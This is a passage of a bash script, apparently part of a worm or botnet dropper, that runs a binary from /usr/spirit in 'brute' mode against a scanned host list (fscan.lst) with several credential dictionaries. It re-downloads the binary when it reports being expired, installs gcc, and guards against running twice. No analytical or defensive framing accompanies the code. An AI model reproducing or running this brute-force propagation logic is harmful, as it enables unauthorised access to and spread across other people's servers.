        if [ -f /usr/spirit/typical ]; then
            cd /usr/spirit
            rm -fr /usr/spirit/test.log >/dev/null 2>&1
            unset errspirit
            ./$SPIRIT_NAME >/usr/spirit/test.log
            errspirit=$?
            unset CHESK
            CHESK=$(cat "/usr/spirit/test.log")
            if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
                get_spirit
            fi
            /usr/spirit/$SPIRIT_NAME -l /usr/spirit/typical -H /usr/spirit/fscan.lst brute
            #
            installgcc
            #
        else
            cd /usr/spirit
            rm -fr /usr/spirit/test.log >/dev/null 2>&1
            unset errspirit
            ./$SPIRIT_NAME >/usr/spirit/test.log
            errspirit=$?
            unset CHESK
            CHESK=$(cat "/usr/spirit/test.log")
            if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
                get_spirit
            fi
            rm -fr /usr/spirit/block.lst >/dev/null 2>&1
            /usr/spirit/$SPIRIT_NAME -H /usr/spirit/fscan.lst brute
            #
            installgcc
            #
        fi
        if [ -f /usr/spirit/gclib ]; then
            cd /usr/spirit
            rm -fr /usr/spirit/test.log >/dev/null 2>&1
            unset errspirit
            ./$SPIRIT_NAME >/usr/spirit/test.log
            errspirit=$?
            unset CHESK
            CHESK=$(cat "/usr/spirit/test.log")
            if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
                get_spirit
            fi
            rm -fr /usr/spirit/block.lst >/dev/null 2>&1
            /usr/spirit/$SPIRIT_NAME -l /usr/spirit/gclib -H /usr/spirit/fscan.lst brute
            #
            installgcc
            #
        fi
        if [ -f /usr/spirit/alllib ]; then
            cd /usr/spirit
            rm -fr /usr/spirit/test.log >/dev/null 2>&1
            unset errspirit
            ./$SPIRIT_NAME >/usr/spirit/test.log
            errspirit=$?
            unset CHESK
            CHESK=$(cat "/usr/spirit/test.log")
            if [[ $CHESK == *expired* ]] || [[ $errspirit -ne 0 ]]; then
                get_spirit
            fi
            rm -fr /usr/spirit/block.lst >/dev/null 2>&1
            /usr/spirit/$SPIRIT_NAME -l /usr/spirit/alllib -H /usr/spirit/fscan.lst brute
            #
            installgcc
            #
        fi
    fi
    installgcc
else
    echo "Already Running"
fi
